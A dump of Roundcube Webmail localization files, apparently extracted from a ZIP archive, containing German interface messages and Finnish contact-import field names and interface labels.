$messages['groupcreated'] = 'Gruppe erfolgreich erstellt.';
$messages['savedsearchdeleted'] = 'Suchergebnisse erfolgreich gelöscht.';
$messages['savedsearchdeleteerror'] = 'Suchergebnisse konnten nicht gelöscht werden.';
$messages['savedsearchcreated'] = 'Suchergebnisse wurden erfolgreich wiederherstellt.';
$messages['savedsearchcreateerror'] = 'Suchergebnisse konnten nicht wiederhergestellt werden.';
$messages['messagedeleted'] = 'Nachricht(en) erfolgreich gelöscht.';
$messages['messagemoved'] = 'Nachricht(en) erfolgreich verschoben.';
$messages['messagemovedtotrash'] = 'Nachricht(en) erfolgreich in Papierkorb gelegt.';
$messages['messagecopied'] = 'Nachricht(en) erfolgreich kopiert.';
$messages['messagemarked'] = 'Nachricht(en) erfolgreich markiert.';
$messages['autocompletechars'] = 'Geben Sie mind. $min Zeichen für die Auto-Vervollständigung ein.';
$messages['autocompletemore'] = 'Mehrere Treffer. Bitte geben Sie mehr Buchstaben ein.';
$messages['namecannotbeempty'] = 'Der Name darf nicht leer sein.';
$messages['nametoolong'] = 'Der Name ist zu lang.';
$messages['namedotforbidden'] = 'Ordnername darf nicht mit einem Punkt beginnen.';
$messages['folderupdated'] = 'Der Ordner wurde erfolgreich aktualisiert.';
$messages['foldercreated'] = 'Der Ordner wurde erfolgreich erstellt.';
$messages['invalidimageformat'] = 'Kein gültiges Bildformat.';
$messages['mispellingsfound'] = 'Es wurden noch Rechtschreibfehler in der Nachricht gefunden.';
$messages['parentnotwritable'] = 'Konnte den Ordner nicht erstellen/verschieben. Keine Berechtigung.';
$messages['messagetoobig'] = 'Die Nachricht ist zu gross und kann nicht verarbeitet werden.';
$messages['attachmentvalidationerror'] = 'Dieser Anhang ist verdächtig, weil sein Typ nicht mit dem in der Nachricht angegebenen Typ übereinstimmt. Wenn Sie dem Absender nicht vertrauen, sollten Sie ihn nicht im Browser öffnen, da er bösartige Inhalte enthalten kann.<br/><br/><em>Erwartet: $expected; gefunden: $detected</em>';
$messages['noscriptwarning'] = 'Warnung: Dieser Webmail-Service erfordert Javascript. Um ihn zu benutzten aktivieren Sie Javascript in ihren Browser-Einstellungen.';
$messages['messageissent'] = 'Die Nachricht wurde bereits gesendet, aber noch nicht gespeichert. Wollen Sie es jetzt speichern?';
$messages['errnotfound'] = 'Datei nicht gefunden!';
$messages['errnotfoundexplain'] = 'Die angeforderte Ressource wurde nicht gefunden!';
$messages['errfailedrequest'] = 'Anforderung fehlgeschlagen';
$messages['errauthorizationfailed'] = 'Autorisierung fehlgeschlagen';
$messages['errunauthorizedexplain'] = 'Es konnte nicht überprüft werden, ob Sie berechtigt sind, auf diesen Dienst zuzugreifen!';
$messages['errrequestcheckfailed'] = 'Anforderungsprüfung fehlgeschlagen';
$messages['errcsrfprotectionexplain'] = "Zu Ihrer Sicherheit wird der Zugriff auf diese Ressource gegen CSRF geschützt.\nWenn Sie dies sehen, haben Sie sich wahrscheinlich vor dem Verlassen der Webanwendung nicht abgemeldet.\n\nNun ist eine menschliche Interaktion erforderlich, um fortzusetzen.";
$messages['errcontactserveradmin'] = 'Bitte kontaktieren Sie Ihren Server-Administrator.';
$messages['clicktoresumesession'] = 'Klicken Sie hier, um Ihre vorherige Sitzung fortzusetzen';
$messages['errcomposesession'] = 'Verfasssitzungsfehler';
$messages['errcomposesessionexplain'] = 'Angeforderte Verfasssitzung nicht gefunden.';
$messages['clicktocompose'] = 'Klicken Sie hier, um eine neue Nachricht zu verfassen';
$messages['nosupporterror'] = 'Diese Funktion wird von Ihrem Webbrowser nicht unterstützt.';
$messages['siginserted'] = 'Signatur erfolgreich eingefügt.';
$messages['responseinserted'] = 'Antwort erfolgreich eingefügt.';
$messages['noresponsesavailable'] = 'Keine Antworten verfügbar';
$messages['listempty'] = 'Die Liste ist leer.';
$messages['listusebutton'] = 'Um einen neuen Datensatz hinzufügen, verwenden Sie bitte die Schaltfläche \'Erstellen\'.';
$messages['keypaircreatesuccess'] = 'En neues Schlüsselpaar wurde erfolgreich für $identity erstellt.';
$messages['emptyattachment'] = 'Dieser Anhang scheint leer zu sein.<br>Bitte erkundigen Sie sich bei der Person, die diesen gesendet hat.';
$messages['oauthloginfailed'] = 'OAuth-Anmeldung fehlgeschlagen. Bitte versuchen Sie es erneut.';
PK
h�\�{����(program/localization/fi_FI/csv2vcard.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | localization/<lang>/csv2vcard.inc                                     |
 |                                                                       |
 | Localization file of the Roundcube Webmail client                     |
 | Copyright (C) 2005-2015, The Roundcube Dev Team                       |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 +-----------------------------------------------------------------------+
 | Author: Pekka Nurmi <peknur@gmail.com>                                |
 +-----------------------------------------------------------------------+
*/
$map = array();
$map['display_name'] = "Näyttönimi";
$map['first_name'] = "Etunimi";
$map['last_name'] = "Sukunimi";
$map['home_phone'] = "Kotipuhelin";
$map['home_city'] = "Kotikaupunki";
$map['home_state'] = "Kodin lääni";
$map['business_city'] = "Työpaikan kaupunki";
$map['business_state'] = "Työpaikan lääni";
$map['job_title'] = "Ammattinimi";
$map['department'] = "Osasto";
$map['notes'] = "Muistiinpanot";
$map['birth_day'] = "Syntymäpäivä";
$map['birth_month'] = "Syntymäkuukausi";
$map['birth_year'] = "Syntymävuosi";
$map['display_name'] = "Näytettävä nimi";
$map['fax_number'] = "Faksin numero";
$map['nickname'] = "Lempinimi";
$map['primary_email'] = "Ensisijainen sähköposti";
$map['secondary_email'] = "Toissijainen sähköposti";
$map['work_phone'] = "Työpuhelin";
$map['pager_number'] = "Hakulaitteen numero";
$map['mobile_number'] = "Matkapuhelinnumero";
$map['home_address'] = "Kotiosoite";
$map['home_zipcode'] = "Kodin postinumero";
$map['home_country'] = "Kotimaa";
$map['work_address'] = "Työosoite";
$map['work_zipcode'] = "Työpaikan postinumero";
$map['work_country'] = "Työpaikan maa";
$map['organization'] = "Järjestö";
$map['web_page_1'] = "Verkkosivu 1";
$map['web_page_2'] = "Verkkosivu 2";
PK
h�\�*��	�	�%program/localization/fi_FI/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'Tervetuloa $product -käyttäjäksi';
$labels['username'] = 'Käyttäjätunnus';
$labels['password'] = 'Salasana';
$labels['server'] = 'Palvelin';
$labels['login'] = 'Kirjaudu';
$labels['oauthlogin'] = 'Kirjaudu palveluntarjoajalla $provider';
$labels['menu'] = 'Valikko';
$labels['logout'] = 'Kirjaudu ulos';
$labels['mail'] = 'Sähköposti';
$labels['settings'] = 'Asetukset';
$labels['addressbook'] = 'Osoitekirja';
$labels['darkmode'] = 'Tumma tila';
$labels['lightmode'] = 'Vaalea tila';
$labels['inbox'] = 'Saapuneet';
$labels['drafts'] = 'Luonnokset';
$labels['sent'] = 'Lähetetyt';
$labels['trash'] = 'Roskakori';
$labels['junk'] = 'Roskaposti';
$labels['show_real_foldernames'] = 'Näytä erikoiskansioiden oikeat nimet';
$labels['subject'] = 'Aihe';
$labels['from'] = 'Lähettäjä';
$labels['sender'] = 'Lähettäjä';
$labels['to'] = 'Vastaanottaja';
$labels['cc'] = 'Kopio';
$labels['bcc'] = 'Piilokopio';
$labels['replyto'] = 'Vastaus osoitteeseen';
$labels['followupto'] = 'Keskustelunsiirto';
$labels['date'] = 'Päiväys';
$labels['size'] = 'Koko';
$labels['priority'] = 'Tärkeys';
$labels['organization'] = 'Organisaatio';
$labels['readstatus'] = 'Luettu';
$labels['listoptions'] = 'Listaa valinnat...';
$labels['listoptionstitle'] = 'Listavalinnat';
$labels['mailboxlist'] = 'Kansiot';
$labels['messagesfromto'] = 'Viestit $from-$to/$count';
$labels['threadsfromto'] = 'Viestiketjut $from-$to/$count';
$labels['messagenrof'] = 'Viesti $nr/$count';
$labels['fromtoshort'] = '$from - $to (yhteensä $count)';
$labels['copy'] = 'Kopioi';
$labels['move'] = 'Siirrä';
$labels['moveto'] = 'siirrä kansioon...';
$labels['copyto'] = 'Kopioi...';
$labels['download'] = 'lataa';
$labels['open'] = 'Avaa';
$labels['showattachment'] = 'Näytä';
$labels['showanyway'] = 'Näytä silti';
$labels['filename'] = 'Tiedoston nimi';
$labels['filesize'] = 'Tiedoston koko';
$labels['addtoaddressbook'] = 'Lisää osoitekirjaan';
$labels['sun'] = 'Su';
$labels['mon'] = 'Ma';
$labels['tue'] = 'Ti';
$labels['wed'] = 'Ke';
$labels['thu'] = 'To';
$labels['fri'] = 'Pe';
$labels['sat'] = 'La';
$labels['sunday'] = 'Sunnuntai';
$labels['monday'] = 'Maanantai';
$labels['tuesday'] = 'Tiistai';
$labels['wednesday'] = 'Keskiviikko';
$labels['thursday'] = 'Torstai';
$labels['friday'] = 'Perjantai';
$labels['saturday'] = 'Lauantai';
$labels['jan'] = 'Tammi';
$labels['feb'] = 'Helmi';
$labels['mar'] = 'Maalis';
$labels['apr'] = 'Huhti';
$labels['may'] = 'Touko';
$labels['jun'] = 'Kesä';
$labels['jul'] = 'Heinä';
$labels['aug'] = 'Elo';
$labels['sep'] = 'Syys';
$labels['oct'] = 'Loka';
$labels['nov'] = 'Marras';
$labels['dec'] = 'Joulu';
$labels['longjan'] = 'Tammikuu';
$labels['longfeb'] = 'Helmikuu';
$labels['longmar'] = 'Maaliskuu';
$labels['longapr'] = 'Huhtikuu';
$labels['longmay'] = 'Touko';
$labels['longjun'] = 'Kesäkuu';
$labels['longjul'] = 'Heinäkuu';
$labels['longaug'] = 'Elokuu';
$labels['longsep'] = 'Syyskuu';
$labels['longoct'] = 'Lokakuu';
$labels['longnov'] = 'Marraskuu';
$labels['longdec'] = 'Joulukuu';
$labels['today'] = 'Tänään';
$labels['refresh'] = 'Päivitä';
$labels['checkmail'] = 'Tarkista saapuneet viestit';
$labels['compose'] = 'Viestin kirjoitus';
$labels['writenewmessage'] = 'Kirjoita uusi viesti';
$labels['reply'] = 'Vastaa';
$labels['replytomessage'] = 'Vastaa viestiin';
$labels['replytoallmessage'] = 'Vastaa kaikille';
$labels['replyall'] = 'Vastaa kaikille';
$labels['replylist'] = 'Vastaa listalle';
$labels['forward'] = 'Välitä eteenpäin';
$labels['forwardinline'] = 'Välitä viesti';
$labels['forwardattachment'] = 'Välitä viesti liitteenä';
$labels['forwardmessage'] = 'Välitä viesti';
$labels['bouncemsg'] = 'Lähetä edelleen (bounce)';
$labels['bounce'] = 'Lähetä edelleen';
$labels['deletemessage'] = 'Poista viesti';
$labels['movemessagetotrash'] = 'Siirrä viesti roskakoriin';
$labels['printmessage'] = 'Tulosta viesti';
$labels['previousmessage'] = 'Näytä edellinen viesti';
$labels['firstmessage'] = 'Näytä ensimmäinen viesti';
$labels['nextmessage'] = 'Näytä edellinen viesti';
$labels['lastmessage'] = 'Näytä viimeinen viesti';
$labels['backtolist'] = 'Takaisin viesteihin';
$labels['viewsource'] = 'Näytä lähdekoodi';
$labels['mark'] = 'Merkitse';
$labels['markmessages'] = 'Merkitse viestit';
$labels['markread'] = 'luetuiksi';
$labels['markunread'] = 'ei-luetuiksi';
$labels['markflagged'] = 'korostetuiksi';
$labels['markunflagged'] = 'ei-korostetuiksi';
$labels['markundeleted'] = 'poistamattomaksi';
$labels['moreactions'] = 'Lisää toimintoja...';
$labels['markallread'] = 'Merkitse kaikki luetuksi';
$labels['folders-cur'] = 'Vain valittu kansio';
$labels['folders-sub'] = 'Valittu kansio ja alikansiot';
$labels['folders-all'] = 'Kaikki kansiot';
$labels['more'] = 'Lisää';
$labels['back'] = 'Takaisin';
$labels['options'] = 'Asetukset';
$labels['composeoptions'] = 'Kirjoitusasetukset';
$labels['optionsandattachments'] = 'Asetukset ja liitteet';
$labels['actions'] = 'Toiminnot';
$labels['first'] = 'Ensimmäinen';
$labels['last'] = 'Viimeinen';
$labels['previous'] = 'Edellinen';
$labels['next'] = 'Seuraava';
$labels['select'] = 'Valitse';
$labels['selection'] = 'Valinta';
$labels['all'] = 'Kaikki';
$labels['none'] = 'Ei mikään';
$labels['currpage'] = 'Nykyinen sivu';
$labels['isread'] = 'Lue';
$labels['unread'] = 'Lukemattomat';
$labels['flagged'] = 'Korostettu';
$labels['unflagged'] = 'Ei merkitty';
$labels['unanswered'] = 'Vastaamaton';
$labels['withattachment'] = 'Liitteen kera';
$labels['deleted'] = 'Poistettu';
$labels['undeleted'] = 'Ei poistettu';
$labels['replied'] = 'Vastattu';
$labels['forwarded'] = 'Välitetty';
$labels['invert'] = 'Käännä';
$labels['filter'] = 'Suodin';
$labels['list'] = 'Listaus';
$labels['threads'] = 'Viestiketjut';
$labels['expand-all'] = 'Laajenna kaikki';
$labels['expand-unread'] = 'Laajenna lukemattomat';
$labels['collapse-all'] = 'Kutista kaikki';
$labels['threaded'] = 'Säikeet';
$labels['showunread'] = 'Näytä lukemattomat viestit';
$labels['autoexpand_threads'] = 'Laajenna viestiketjut automaattisesti';
$labels['do_expand'] = 'kaikki viestiketjut';
$labels['expand_only_unread'] = 'vain ne joissa lukemattomia viestejä';
$labels['fromto'] = 'Lähettäjä/Vastaanottaja';
$labels['flag'] = 'Merkitse';
$labels['attachment'] = 'Liite';
$labels['nonesort'] = 'Ei mikään';
$labels['sentdate'] = 'Lähetysaika';
$labels['arrival'] = 'Saapumisaika';
$labels['asc'] = 'nouseva';
$labels['desc'] = 'laskeva';
$labels['listcolumns'] = 'Näkyvät kentät';
$labels['listsorting'] = 'Lajittelu kenttä';
$labels['listorder'] = 'Lajittelu järjestys';
$labels['listmode'] = 'Listausnäkymä';
$labels['lmode'] = 'Listaustapa';
$labels['layout'] = 'Asettelu';
$labels['layoutwidescreen'] = 'Laajakuva';
$labels['layoutdesktop'] = 'Työpöytä';
$labels['layoutlist'] = 'Listaus';
$labels['layoutwidescreendesc'] = 'Laajakuva (3 kolumnin näkymä)';
$labels['layoutdesktopdesc'] = 'Työpöytä (laaja lista ja esikatselu)';
$labels['layoutlistdesc'] = 'Lista (ei esikatselua)';
$labels['folderactions'] = 'Kansiotoiminnot...';
$labels['compact'] = 'Tiivistä';
$labels['empty'] = 'Tyhjennä';
$labels['importmessages'] = 'Tuo viestejä';
$labels['mailimportdesc'] = 'Voit lisätä sähköpostia tiedostoissa käyttäen <a href="https://en.wikipedia.org/wiki/Email#Message_format">MIME</a>- tai <a href="https://en.wikipedia.org/wiki/Mbox">Mbox</a>-muotoa.';
$labels['mailimportzip'] = 'Useat tiedostot on mahdollista pakata zip-arkistoihin.';
$labels['quota'] = 'Levytila';
$labels['unknown'] = 'tuntematon';
$labels['unlimited'] = 'rajoittamaton';
$labels['quotatype'] = 'Kiintiön tyyppi';
$labels['quotatotal'] = 'Raja';
$labels['quotaused'] = 'Käytetty';
$labels['quotastorage'] = 'Levytila';
$labels['quotamessage'] = 'Viestien määrä';
$labels['shortheaderdate'] = '$date';
$labels['shortheaderto'] = 'Vastaanottajalle $to, $date';
$labels['shortheaderfrom'] = 'Lähettäjältä $from, $date';
$labels['quicksearch'] = 'Pikahaku';
$labels['searchplaceholder'] = 'Hae...';
$labels['resetsearch'] = 'Nollaa haku';
$labels['searchmod'] = 'Hakukriteerit';
$labels['msgtext'] = 'Koko viesti';
$labels['body'] = 'Runko';
$labels['type'] = 'Tyyppi';
$labels['namex'] = 'Nimi';
$labels['searchscope'] = 'Rajaus';
$labels['currentfolder'] = 'Nykyinen kansio';
$labels['subfolders'] = 'Nykyinen kansio ja sen alikansiot';
$labels['allfolders'] = 'Kaikki kansiot';
$labels['searchinterval-1W'] = 'viikkoa vanhempi';
$labels['searchinterval-1M'] = 'kuukautta vanhempi';
$labels['searchinterval-1Y'] = 'vuotta vanhempi';
$labels['searchinterval1W'] = 'viikkoa uudempi';
$labels['searchinterval1M'] = 'kuukautta uudempi';
$labels['searchinterval1Y'] = 'vuotta uudempi';
$labels['openinextwin'] = 'Avaa uudessa ikkunassa';
$labels['emlsave'] = 'Tallenna (.eml)';
$labels['changeformattext'] = 'Näytä raakatekstimuodossa';
$labels['changeformathtml'] = 'Näytä HTML-muodossa';
$labels['editasnew'] = 'Muokkaa uutena';
$labels['send'] = 'Lähetä';
$labels['sendmessage'] = 'Lähetä viesti';
$labels['savemessage'] = 'Tallenna tämä luonnos';
$labels['addattachment'] = 'Liitetiedosto';
$labels['charset'] = 'Merkistö';
$labels['editortype'] = 'Editorin tyyppi';
$labels['returnreceipt'] = 'Perillesaapumisilmoitus';
$labels['dsn'] = 'Toimituksen tilailmoitus';
$labels['keepformatting'] = 'Säilytä muotoilu';
$labels['mailreplyintro'] = '$sender kirjoitti $date:';
$labels['originalmessage'] = 'Alkuperäinen viesti';
$labels['selectimage'] = 'Valitse kuva';
$labels['addimage'] = 'Lisää kuva';
$labels['selectmedia'] = 'Valitse elokuva';
$labels['addmedia'] = 'Lisää elokuva';
$labels['encrypt'] = 'Salaa';
$labels['encryptmessage'] = 'Salaa viesti';
$labels['encryptmessagemailvelope'] = 'Salaa viesti Mailvelopella';
$labels['importpubkeys'] = 'Tuo julkiset avaimet';
$labels['encryptedsendialog'] = 'Lähetetään salattua viestiä';
$labels['encryptandsign'] = 'Salaa ja allekirjoita';
$labels['keyid'] = 'Avaimen tunniste';
$labels['keylength'] = 'Bittiä';
$labels['keyexpired'] = 'Vanhentunut';
$labels['keyrevoked'] = 'Kumottu';
$labels['bccinstead'] = 'Käytä Piilokopiota';
$labels['addheader'] = 'LIsää vastaanottaja (header)';
$labels['insert'] = 'Lisää';
$labels['insertcontact'] = 'Lisää yhteystieto(ja)';
$labels['recipient'] = 'Vastaanottaja';
$labels['recipientedit'] = 'Vastaanottajan muokkaus';
$labels['editidents'] = 'Muokkaa identiteettejä';
$labels['spellcheck'] = 'Oikeinkirjoitus';
$labels['checkspelling'] = 'Tarkista oikeinkirjoitus';
$labels['resumeediting'] = 'Jatka muokkausta';
$labels['revertto'] = 'Muuta takaisin';
$labels['restore'] = 'Palauta';
$labels['restoremessage'] = 'Palautetaanko viesti?';
$labels['ignore'] = 'Jätä huomiotta';
$labels['responses'] = 'Vastaukset';
$labels['insertresponse'] = 'Lisää vastaus';
$labels['manageresponses'] = 'Hallitse vastauksia';
$labels['newresponse'] = 'Luo uusi vastaus';
$labels['addresponse'] = 'Lisää vastaus';
$labels['editresponse'] = 'Muokkaa vastausta';
$labels['editresponses'] = 'Muokkaa vastauksia';
$labels['responsename'] = 'Nimi';
$labels['responsetext'] = 'Vastausteksti';
$labels['attach'] = 'Liitä';
$labels['attachments'] = 'Liitetiedostot';
$labels['upload'] = 'Lisää';
$labels['uploadprogress'] = '$percent ($current/$total)';
$labels['close'] = 'Sulje';
$labels['messageoptions'] = 'Viestin asetukset...';
$labels['togglecomposeoptions'] = 'Vaihda kirjoitusvalintoja';
$labels['attachmentrename'] = 'Nimeä liite uudelleen';
$labels['low'] = 'Matala';
$labels['lowest'] = 'Matalin';
$labels['normal'] = 'Normaali';
$labels['high'] = 'Korkea';
$labels['highest'] = 'Korkein';
$labels['nosubject'] = '(ei aihetta)';
$labels['showimages'] = 'Näytä kuvat';
$labels['allow'] = 'Salli';
$labels['alwaysshow'] = 'Näytä aina lähettäjältä $sender saapuneet kuvat';
$labels['alwaysallow'] = 'Salli aina lähettäjältä $sender';
$labels['isdraft'] = 'Tämä on luonnosviesti.';
$labels['andnmore'] = '$nr lisää...';
$labels['details'] = 'Tiedot';
$labels['summary'] = 'Yhteenveto';
$labels['headers'] = 'Otsakkeet';
$labels['allheaders'] = 'Kaikki otsakkeet...';
$labels['togglemoreheaders'] = 'Näytä lisää viestiotsakkeita';
$labels['togglefullheaders'] = 'Viestin otsakkeet päällä/pois';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'Tavallinen teksti';
$labels['savesentmessagein'] = 'Tallenna lähetetty viesti kansioon';
$labels['dontsave'] = 'Älä tallenna';
$labels['maxuploadsize'] = 'Suurin sallittu tiedostokoko on $size';
$labels['addcc'] = 'Lisää kopio';
$labels['addbcc'] = 'Lisää piilokopio';
$labels['addreplyto'] = 'Lisää vastausosoite';
$labels['addfollowupto'] = 'Lisää keskustelunsiirto';
$labels['sendreceipt'] = 'Lähetä lukukuittaus?';
$labels['mdnrequest'] = 'Viestin lähettäjä on pyytänyt kuittauksen siitä että olet lukenut viestin. Haluatko lähettää kuittauksen?';
$labels['receiptread'] = 'Lukukuittaus';
$labels['yourmessage'] = 'Tämä viesti on kuittaus lähettämällesi viestille';
$labels['receiptnote'] = 'Huom! Kuittaus tarkoittaa vain sitä, että viesti on avattu vastaanottajan tietokoneella. Se ei tarkoita että vastaanottaja on myös lukenut tai ymmärtänyt viestin.';
$labels['sendalwaysto'] = 'Lähetä aina lähettäjälle $email';
$labels['zoomin'] = 'Lähennä';
$labels['zoomout'] = 'Loitonna';
$labels['rotate'] = 'Käännä';
$labels['increaseimage'] = 'Suurenna kuvaa';
$labels['decreaseimage'] = 'Pienennä kuvaa';
$labels['rotateimage'] = 'Käännä kuvaa';
$labels['showtools'] = 'Näytä kuvatyökalut';
$labels['hidetools'] = 'Piilota kuvatyökalut';
$labels['name'] = 'Näkyvä nimi';
$labels['firstname'] = 'Etunimi';
$labels['surname'] = 'Sukunimi';
$labels['middlename'] = 'Toinen nimi';
$labels['nameprefix'] = 'Etuliite';
$labels['namesuffix'] = 'Jälkiliite';
$labels['nickname'] = 'Lempinimi';
$labels['jobtitle'] = 'Titteli';
$labels['department'] = 'Osasto';
$labels['gender'] = 'Sukupuoli';
$labels['maidenname'] = 'Tyttönimi';
$labels['email'] = 'Sähköposti';
$labels['phone'] = 'Puhelin';
$labels['address'] = 'Osoite';
$labels['street'] = 'Katu';
$labels['locality'] = 'Kaupunki';
$labels['zipcode'] = 'Postinumero';
$labels['region'] = 'Osavaltio tai lääni';
$labels['country'] = 'Maa';
$labels['birthday'] = 'Syntymäpäivä';
$labels['anniversary'] = 'Vuosipäivä';
$labels['website'] = 'Verkkosivu';
$labels['instantmessenger'] = 'Pikaviestin';
$labels['notes'] = 'Muistiinpanot';
$labels['male'] = 'mies';
$labels['female'] = 'nainen';
$labels['manager'] = 'Päällikkö';
$labels['assistant'] = 'Avustaja';
$labels['spouse'] = 'Puoliso';
$labels['allfields'] = 'Kaikki kentät';
$labels['search'] = 'Haku';
$labels['searchresult'] = 'Haun tulos';
$labels['advsearch'] = 'Tarkennettu haku';
$labels['advanced'] = 'Lisäasetukset';
$labels['other'] = 'Muu';
$labels['printcontact'] = 'Tulosta yhteystieto';
$labels['qrcode'] = 'QR-koodi';
$labels['typehome'] = 'Koti';
$labels['typework'] = 'Työ';
$labels['typeother'] = 'Muu';
$labels['typemobile'] = 'Matkapuhelin';
$labels['typemain'] = 'Oma';
$labels['typehomefax'] = 'Kotifaksi';
$labels['typeworkfax'] = 'Työfaksi';
$labels['typecar'] = 'Auto';
$labels['typepager'] = 'Hakulaite';
$labels['typevideo'] = 'Video';
$labels['typeassistant'] = 'Avustaja';
$labels['typehomepage'] = 'Kotisivu';
$labels['typeblog'] = 'Blogi';
$labels['typeprofile'] = 'Profiili';
$labels['addfield'] = 'Lisää kenttä...';
$labels['addcontact'] = 'Lisää yhteystieto';
$labels['editcontact'] = 'Muokkaa yhteystietoa';
$labels['contacts'] = 'Yhteystiedot';
$labels['contactproperties'] = 'Yhteystiedon ominaisuudet';
$labels['contactnameandorg'] = 'Nimi ja organisaatio';
$labels['personalinfo'] = 'Henkilökohtaiset tiedot';
$labels['personal'] = 'Henkilökohtainen';
$labels['contactphoto'] = 'Yhteyshenkilön kuva';
$labels['edit'] = 'Muokkaa';
$labels['cancel'] = 'Peruuta';
$labels['save'] = 'Tallenna';
$labels['delete'] = 'Poista';
$labels['discard'] = 'Hylkää';
$labels['continue'] = 'Jatka';
$labels['ok'] = 'OK';
$labels['rename'] = 'Nimeä uudelleen';
$labels['addphoto'] = 'Lisää';
$labels['replacephoto'] = 'Korvaa';
$labels['uploadphoto'] = 'Lähetä kuva';
$labels['choosefile'] = 'Valitse tiedosto...';
$labels['choosefiles'] = 'Valitse tiedostot...';
$labels['browse'] = 'Selaa';
$labels['newcontact'] = 'Luo uusi yhteystieto';
$labels['deletecontact'] = 'Poista valitut yhteystiedot';
$labels['composeto'] = 'Kirjoita viesti yhteystiedolle';
$labels['contactsfromto'] = 'Yhteystiedot $from-$to/$count';
$labels['print'] = 'Tulosta';
$labels['export'] = 'Vie';
$labels['exportall'] = 'Vie kaikki';
$labels['exportsel'] = 'Vie valitut';
$labels['exportvcards'] = 'Vie yhteystiedot vCard-muodossa';
$labels['newgroup'] = 'Luo uusi ryhmä';
$labels['addgroup'] = 'Lisää ryhmä';
$labels['grouprename'] = 'Nimeä ryhmä uudelleen';
$labels['groupdelete'] = 'Poista ryhmä';
$labels['groupassign'] = 'Aseta ryhmään...';
$labels['groupremove'] = 'Poista ryhmästä';
$labels['groupremoveselected'] = 'Poista valitut yhteystiedot ryhmästä';
$labels['uponelevel'] = 'Yksi taso ylös';
$labels['previouspage'] = 'Näytä edellinen luettelo';
$labels['firstpage'] = 'Näytä ensimmäinen luettelo';
$labels['nextpage'] = 'Näytä seuraava luettelo';
$labels['lastpage'] = 'Näytä viimeinen luettelo';
$labels['group'] = 'Ryhmä';
$labels['groups'] = 'Ryhmät';
$labels['listgroup'] = 'Listaa ryhmän jäsenet';
$labels['personaladrbook'] = 'Henkilökohtaiset osoitteet';
$labels['searchsave'] = 'Tallenna haku';
$labels['searchdelete'] = 'Poista haku';
$labels['import'] = 'Tuo';
$labels['importcontacts'] = 'Tuo yhteystiedot';
$labels['importfromfile'] = 'Tuo tiedostosta';
$labels['importtarget'] = 'Lisää yhteystiedot kohteeseen';
$labels['importreplace'] = 'Korvaa koko osoitekirja';
$labels['importgroups'] = 'Tuo ryhmämääritykset';
$labels['importgroupsall'] = 'Kaikki (luo ryhmät tarvittaessa)';
$labels['importgroupsexisting'] = 'Vain olemassa oleville ryhmille';
$labels['importdesc'] = 'Voit tuoda yhteystietoja olemassa olevasta osoitekirjasta.<br/>Tuetut muodot ovat <a href="https://en.wikipedia.org/wiki/VCard">vCard</a> tai CSV.';
$labels['importmapdesc'] = 'Vahvista että kenttien kohdennus alla on oikein ennen CSV-materiaalin tuontia.';
$labels['fieldnotmapped'] = 'Kenttää ei kohdennettu (älä tuo)';
$labels['skipheader'] = 'Älä tuo ensimmäistä riviä (otsakkeet)';
$labels['done'] = 'Valmis';
$labels['settingsfor'] = 'Asetukset';
$labels['about'] = 'Tietoja';
$labels['preferences'] = 'Asetukset';
$labels['userpreferences'] = 'Käyttäjän asetukset';
$labels['editpreferences'] = 'Muokkaa käyttäjän asetuksia';
$labels['identities'] = 'Identiteetit';
$labels['manageidentities'] = 'Hallitse henkilöyksiä';
$labels['newidentity'] = 'Luo uusi henkilöys';
$labels['addidentity'] = 'Lisää henkilöys';
$labels['editidentity'] = 'Muokkaa henkilöyttä';
$labels['identityencryption'] = 'Salaus';
$labels['preferhtml'] = 'Käytä HTML:aa';
$labels['defaultcharset'] = 'Oletusmerkistökoodaus';
$labels['htmlmessage'] = 'HTML-viesti';
$labels['messagepart'] = 'Osa';
$labels['digitalsig'] = 'Digitaalinen allekirjoitus';
$labels['dateformat'] = 'Päiväyksen muoto';
$labels['timeformat'] = 'Ajan muoto';
$labels['prettydate'] = 'Nätit päiväykset';
$labels['setdefault'] = 'Aseta vakioksi';
$labels['autodetect'] = 'Automaattinen';
$labels['language'] = 'Kieli';
$labels['timezone'] = 'Aikavyöhyke';
$labels['pagesize'] = 'Rivejä sivulla';
$labels['signature'] = 'Allekirjoitus';
$labels['dstactive'] = 'Kesäaika';
$labels['showinextwin'] = 'Avaa viesti uudessa ikkunassa';
$labels['composeextwin'] = 'Lähetä viesti uudessa ikkunassa';
$labels['htmleditor'] = 'Kirjoita HTML-muodossa';
$labels['htmlonreply'] = 'Vain vastatessa HTML-viesteihin';
$labels['htmlonreplyandforward'] = 'välittäessä tai vastatessa HTML-viestiin';
$labels['htmlsignature'] = 'HTML-allekirjoitus';
$labels['showemail'] = 'Näytä sähköpostiosoite näyttönimen kanssa';
$labels['previewpane'] = 'Näytä esikatselulehti';
$labels['skin'] = 'Käyttöliittymän teema';
$labels['logoutclear'] = 'Tyhjennä roskakori kirjautuessa ulos';
$labels['logoutcompact'] = 'Tiivistä kansiot kirjautuessa ulos';
$labels['uisettings'] = 'Käyttöliittymä';
$labels['serversettings'] = 'Palvelinasetukset';
$labels['mailboxview'] = 'Postilaatikkonäkymä';
$labels['mdnrequests'] = 'Lähettäjän kuittaukset';
$labels['askuser'] = 'kysy käyttäjältä';
$labels['autosend'] = 'lähetä automaattisesti';
$labels['autosendknown'] = 'Lähetä kuittaus kontaktilistassa oleville, kysy muulloin';
$labels['autosendknownignore'] = 'Lähetä kuittaus vain kontaktilistassa oleville';
$labels['autosendtrusted'] = 'lähetä kuittaus luotetuille lähettäjille, kysy minulta muulloin';
$labels['autosendtrustedignore'] = 'lähetä kuittaus luotetuille lähettäjille, jätä muulloin huomiotta';
$labels['ignorerequest'] = 'Hylkää pyyntö';
$labels['readwhendeleted'] = 'Merkitse poistettavat viestit luetuiksi';
$labels['flagfordeletion'] = 'Poistamisen sijaan merkitse viestit poistettavaksi';
$labels['skipdeleted'] = 'Älä näytä poistettuja viestejä';
